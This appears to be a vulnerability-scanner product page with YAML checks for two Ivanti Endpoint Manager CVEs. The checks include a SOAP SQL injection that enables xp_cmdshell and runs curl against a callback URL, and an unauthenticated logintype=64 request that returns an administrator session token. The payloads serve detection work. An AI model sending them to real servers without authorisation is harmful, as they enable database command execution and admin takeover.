Ivanti EPM — 2 vulnerability checks
noctis ships 2 vulnerability checks for Ivanti EPM, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Ivanti EPM EventHandler SOAP SQLi → xp_cmdshell RCE
| CVE | CVE-2024-29824 |
|---|---|
| Severity | critical · CVSS 9.6 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, http_request, match, script, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/ivanti-epm/CVE-2024-29824.yaml |
Checks an Ivanti Endpoint Manager core server for the unauthenticated SQL injection in the UpdateStatusEvents SOAP action of /WSStatusEvents/EventHandler.asmx. The test first needs the action to answer a plain call with an UpdateStatusEventsResponse. It then sends two calls whose status md5 value closes the SQL string and adds a "WAITFOR DELAY" of 6 and 2 seconds, and reports the server when each call is answered that much later than the plain one, which shows the injected statement ran on the database. With an out-of-band callback server configured, it also enables xp_cmdshell, runs curl against the callback URL and reports a received callback as confirmed code execution; that step leaves xp_cmdshell enabled on the database server.
How noctis detects it
- HTTP(S) request
POST /WSStatusEvents/EventHandler.asmxwith a crafted body - Checks
base_resp.bodyforUpdateStatusEventsResponse - HTTP(S) request
POST /WSStatusEvents/EventHandler.asmxwith a crafted body - HTTP(S) request
POST /WSStatusEvents/EventHandler.asmxwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
epm_ok == true && tm.ok == true→ finding QoD 75: md5 "'; WAITFOR DELAY '0:0:6'--" answered … ms and the 2 s variant … ms later than a plain call (… ms): the injected SQL ran - HTTP(S) request
POST /WSStatusEvents/EventHandler.asmxwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: xp_cmdshell RCE confirmed — OOB HTTP callback received: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29824
- https://forums.ivanti.com/s/article/Security-Advisory-May-2024
- https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
- https://github.com/horizon3ai/CVE-2024-29824
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-29824.yaml
Feed source — tests/vulnerabilities/ivanti-epm/CVE-2024-29824.yaml
# Ivanti Endpoint Manager SQL injection → xp_cmdshell RCE — CVE-2024-29824
#
# The UpdateStatusEvents SOAP action of /WSStatusEvents/EventHandler.asmx
# splices the md5 value of the <status> field ("GoodApp=1|md5=<value>") into a
# Microsoft SQL Server query unescaped, without authentication. A quote ends
# the string literal and stacked statements run (Horizon3 deep dive / PoC).
# Fixed by the May 2024 security update (EPM 2022 SU5 and earlier affected).
#
# Detection:
# 1. Gate (no finding) — a plain UpdateStatusEvents call must answer
# UpdateStatusEventsResponse. Every EPM core answers this method, fixed or
# not, so it is only a gate (the previous revision reported it as a QoD
# 50 "SQLi payload accepted" finding, #2404 — and its probe enabled
# xp_cmdshell on every core it reached).
# 2. Time-based proof (QoD 75) — md5 = "'; WAITFOR DELAY '0:0:N'--" with
# N = 6 then 2. The service answers only once the query has run (the PoC
# notes the request stays open for the injected command's duration), so
# a vulnerable core holds the 6 s request ~6 s and the 2 s one ~2 s
# longer than the plain call (k times that if the value reaches k
# statements, k <= 3). Both delays and their ~3:1 ratio must match, so a
# server that is merely slow or tarpits every request is not reported. WAITFOR only waits: no data or setting is changed.
# 3. OOB (QoD 97) — the public PoC chain: enable xp_cmdshell and run curl
# against the callback URL. This changes the SQL Server configuration
# (xp_cmdshell stays enabled), so it only runs with OOB configured.
uid: 4a9c5948-c31e-4d72-ba28-ff094ca1dd04
name: "Ivanti EPM EventHandler SOAP SQLi → xp_cmdshell RCE (CVE-2024-29824)"
description: |
Checks an Ivanti Endpoint Manager core server for the unauthenticated SQL
injection in the UpdateStatusEvents SOAP action of
/WSStatusEvents/EventHandler.asmx. The test first needs the action to
answer a plain call with an UpdateStatusEventsResponse. It then sends two
calls whose status md5 value closes the SQL string and adds a "WAITFOR
DELAY" of 6 and 2 seconds, and reports the server when each call is
answered that much later than the plain one, which shows the injected
statement ran on the database. With an out-of-band callback server
configured, it also enables xp_cmdshell, runs curl against the callback URL
and reports a received callback as confirmed code execution; that step
leaves xp_cmdshell enabled on the database server.
cves: [CVE-2024-29824]
cvss: 9.6
severity: critical
category: sqli
confidence_base: 0.20
tags: [ivanti, epm, sqli, xp-cmdshell, rce, soap, oob, kev, time-based, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-29824"
- "https://forums.ivanti.com/s/article/Security-Advisory-May-2024"
- "https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/"
- "https://github.com/horizon3ai/CVE-2024-29824"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-29824.yaml"
steps:
- id: init-ok
action: set_var
var_name: epm_ok
var_value: false
- id: init-long
action: set_var
var_name: long_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-short
action: set_var
var_name: short_resp
var_value: {status: 0, body: null, duration_ms: 0}
# ── 1. Gate: plain UpdateStatusEvents call ────────────────────────────────
- id: plain-call
action: http_request
method: POST
path: "/WSStatusEvents/EventHandler.asmx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/soap+xml; charset=utf-8"
body: "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\"><soap12:Body><UpdateStatusEvents xmlns=\"http://tempuri.org/\"><deviceID>noctis</deviceID><actions><Action name=\"noctis\" code=\"0\" date=\"0\" type=\"96\" user=\"noctis\" configguid=\"noctis\" location=\"noctis\"><status>GoodApp=1|md5=noctis</status></Action></actions></UpdateStatusEvents></soap12:Body></soap12:Envelope>"
store_as: base_resp
- id: check-endpoint
action: match
source: base_resp.body
pattern: "UpdateStatusEventsResponse"
condition: "base_resp.status == 200 && base_resp.duration_ms < 4000"
on_match:
set_vars:
epm_ok: true
# ── 2. Time-based proof: WAITFOR DELAY 6 then 2 ───────────────────────────
# Longer delay first: a tarpit that slows each successive request then
# fails its own window.
- id: waitfor-long
action: http_request
method: POST
path: "/WSStatusEvents/EventHandler.asmx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
headers:
Content-Type: "application/soap+xml; charset=utf-8"
body: "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\"><soap12:Body><UpdateStatusEvents xmlns=\"http://tempuri.org/\"><deviceID>noctis</deviceID><actions><Action name=\"noctis\" code=\"0\" date=\"0\" type=\"96\" user=\"noctis\" configguid=\"noctis\" location=\"noctis\"><status>GoodApp=1|md5='; WAITFOR DELAY '0:0:6'--</status></Action></actions></UpdateStatusEvents></soap12:Body></soap12:Envelope>"
condition: "epm_ok == true"
store_as: long_resp
- id: waitfor-short
action: http_request
method: POST
path: "/WSStatusEvents/EventHandler.asmx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
headers:
Content-Type: "application/soap+xml; charset=utf-8"
body: "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\"><soap12:Body><UpdateStatusEvents xmlns=\"http://tempuri.org/\"><deviceID>noctis</deviceID><actions><Action name=\"noctis\" code=\"0\" date=\"0\" type=\"96\" user=\"noctis\" configguid=\"noctis\" location=\"noctis\"><status>GoodApp=1|md5='; WAITFOR DELAY '0:0:2'--</status></Action></actions></UpdateStatusEvents></soap12:Body></soap12:Envelope>"
condition: "epm_ok == true && long_resp.status > 0"
store_as: short_resp
- id: timing
action: script
condition: "epm_ok == true"
code: |
let d6 = long_resp.duration_ms - base_resp.duration_ms;
let d2 = short_resp.duration_ms - base_resp.duration_ms;
let ok = long_resp.status > 0 && short_resp.status > 0
&& d6 >= 5500 && d6 < 21000 && d2 >= 1500 && d6 >= d2 + 3000
&& d6 * 2 >= d2 * 4 && d6 * 2 <= d2 * 9;
#{ ok: ok, d6: d6, d2: d2 }
store_as: tm
- id: timing-finding
action: match
source: long_resp.body
pattern: ".*"
condition: "epm_ok == true && tm.ok == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "md5 \"'; WAITFOR DELAY '0:0:6'--\" answered {{tm.d6}} ms and the 2 s variant {{tm.d2}} ms later than a plain call ({{base_resp.duration_ms}} ms): the injected SQL ran"
# ── 3. OOB confirmation: xp_cmdshell curl (changes SQL Server config) ────
# Guarded by oob_enabled — {{oob_url}} is only defined when OOB is active.
- id: sqli-probe-oob
action: http_request
method: POST
path: "/WSStatusEvents/EventHandler.asmx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/soap+xml; charset=utf-8"
body: "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\"><soap12:Body><UpdateStatusEvents xmlns=\"http://tempuri.org/\"><deviceID>noctis</deviceID><actions><Action name=\"noctis\" code=\"0\" date=\"0\" type=\"96\" user=\"noctis\" configguid=\"noctis\" location=\"noctis\"><status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'curl {{oob_url}}'--</status></Action></actions></UpdateStatusEvents></soap12:Body></soap12:Envelope>"
condition: "epm_ok == true && oob_enabled"
store_as: soap_oob_resp
- id: wait-callback
action: wait_oob
oob_timeout_secs: 25
store_as: oob_result
condition: "epm_ok == true && oob_enabled"
on_success:
finding:
confidence_delta: 0.75
qod: 97
evidence: "xp_cmdshell RCE confirmed — OOB HTTP callback received: {{oob_result.body}}"
stop: trueIvanti Endpoint Manager Authentication Bypass via logintype=64
| CVE | CVE-2026-1603 |
|---|---|
| Severity | high · CVSS 8.6 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/ivanti-epm/CVE-2026-1603.yaml |
Tests for CVE-2026-1603: Ivanti EPM before 2024 SU5 allows unauthenticated attackers to obtain a valid session token by submitting logintype "64" to /RemoteControlAuth/api/Auth without a password. A non-null sessionid in the 200 response confirms the auth bypass.
How noctis detects it
- HTTP(S) request
POST /RemoteControlAuth/api/Authwith a crafted body - Checks
auth_resp.bodyfor"sessionid"\s*:\s*"[^"]{5,}"→ finding QoD 75: Ivanti EPM auth bypass confirmed — logintype=64 returned non-null sessionid without credentials (CVE-2026-1603)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2026-1603
- https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024
- https://x.com/watchtowrcyber/status/2022305033086235108
Feed source — tests/vulnerabilities/ivanti-epm/CVE-2026-1603.yaml
# Ivanti Endpoint Manager Authentication Bypass — CVE-2026-1603
#
# Ivanti EPM before 2024 SU5 exposes an unauthenticated endpoint at
# /RemoteControlAuth/api/Auth. Submitting logintype "64" bypasses password
# validation and returns a valid session token for the requested username,
# enabling unauthenticated access to EPM administrative functionality.
#
# Detection: POST with logintype=64 → non-null sessionid in response (QoD 75)
uid: 52976a84-0609-478f-8eb1-2541ae132847
name: "Ivanti Endpoint Manager Authentication Bypass via logintype=64"
description: |
Tests for CVE-2026-1603: Ivanti EPM before 2024 SU5 allows unauthenticated
attackers to obtain a valid session token by submitting logintype "64" to
/RemoteControlAuth/api/Auth without a password. A non-null sessionid in the
200 response confirms the auth bypass.
cves: [CVE-2026-1603]
cvss: 8.6
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [ivanti, epm, endpoint-manager, auth-bypass, credential-leak, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-1603"
- "https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024"
- "https://x.com/watchtowrcyber/status/2022305033086235108"
steps:
- id: auth-bypass-probe
action: http_request
method: POST
path: /RemoteControlAuth/api/Auth
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
headers:
Content-Type: "application/json"
body: '{"logintype":"64","username":"administrator"}'
store_as: auth_resp
# Non-null sessionid (quoted string, min 5 chars) proves auth bypass without credentials
- id: bypass-confirm
action: match
source: auth_resp.body
pattern: '"sessionid"\s*:\s*"[^"]{5,}"'
condition: "auth_resp.status == 200"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Ivanti EPM auth bypass confirmed — logintype=64 returned non-null sessionid without credentials (CVE-2026-1603)"